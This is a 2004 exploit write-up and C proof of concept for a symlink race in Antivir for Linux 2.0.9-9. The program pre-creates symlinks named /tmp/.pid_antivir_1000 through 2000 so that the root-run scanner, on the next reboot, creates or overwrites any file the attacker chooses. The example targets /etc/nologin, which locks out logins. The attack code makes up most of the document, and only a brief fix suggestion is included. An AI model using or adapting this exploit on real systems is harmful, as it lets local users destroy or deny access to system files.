discovered and written: l0om date: 13.01.2004 vulnerability: symlink vul for Antivir / Linux Version 2.0.9-9 (maybe lower) productpage: www.antivir.de risk: medium antivir gets started on bootup and creates a tmp file (/tmp/.pid_antivir_$$ - where $$ is the process id). the file got read/write permissions for the superuser and nothing more. the file gets created and wont be deleted till the system reboots. well- as most of us know is the PID of a process is not on every reboot the same. so the PID of the antivir process goes +/- 10-20. if we create a link with the correct name (expamle .pid_antivr_1204) which points somewhere to the system, it will create or overwrite the destination of our symbolic link. this exploits should work for most rebooting systems, as we guess the pid of the new process will be greater than 1000 and less than 2000. for better usage take a look at the running proccess ID and set the defined START -20 and END +20. sometimes one reboot does the job and sometimes it takes two reboots. i think the programmers could use the same method like the guys from xmms. before they create anything they first "unlink" the filename in the /tmp dir. greets @ proxy, sirius, takt, maximilian, !ntruder, fe2k, dna, feem, cyniker, xnet and the rest of excluded! example: ./antisys /etc/nologin (reboot) ls -l /etc/nologin rw------- root root /etc/nologin have phun! *******************************************************************/ #include #include #include #define PATH "/tmp/.pid_antivir_" #define START 1000 #define END 2000 int main(int argc, char **argv) { int i; char buf[150]; printf("Antivir 2.0.9-9 exploit - written by l0om\n"); printf(" WWW.EXCLUDED.ORG\n\n") if(argc != 2) { printf("usage: %s \n",argv[0]); exit(0xff); } printf("### hit enter to create or overwrite file %s: ",argv[1]); fflush(stdout); read(1, buf, 1); fflush(stdin); printf("working\n\n"); for(i = START; i < END; i++) { snprintf(buf, sizeof(buf),"%s%d",PATH,i); if(symlink(argv[1], buf) == -1) { fprintf(stderr, "cannot create symlink from %s to %s[Nr.%d]\n",buf,argv[1],i); fprintf(stderr, "skipping...\n"); } } printf("\ndone!\n"); printf("on the next reboot we hopefully create or overwrite %s\n",argv[1]); return(0x00); } - l0om - http://www.excluded.org